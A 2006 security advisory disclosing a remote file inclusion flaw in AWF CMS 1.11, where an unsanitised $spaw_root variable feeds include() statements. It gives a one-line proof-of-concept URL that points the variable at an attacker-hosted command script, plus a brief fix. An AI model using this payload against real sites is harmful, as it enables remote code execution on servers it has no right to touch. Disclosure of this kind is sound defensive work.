this is ok:

-----------------------------------------------------
Advisory id: FSA:011

Author:    Federico Fazzi
Date:     11/06/2006, 22:30
Sinthesis: AWF CMS 1.11, Remote command execution
Type:     high
Product:   http://www.awf-cms.org/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in spaw_control.class.php,

include $spaw_root.'config/spaw_control.config.php';
include $spaw_root.'class/toolbars.class.php';
include $spaw_root.'class/lang.class.php';

variable $spaw_root not sanitized.

2) Proof of concept:

http://example/[ac_path]/spaw/spaw_control.class.php?spaw_root=[cmd_url]/
(note: add a cmd url with final slash (/))

3) Solution:

declare $spaw_root.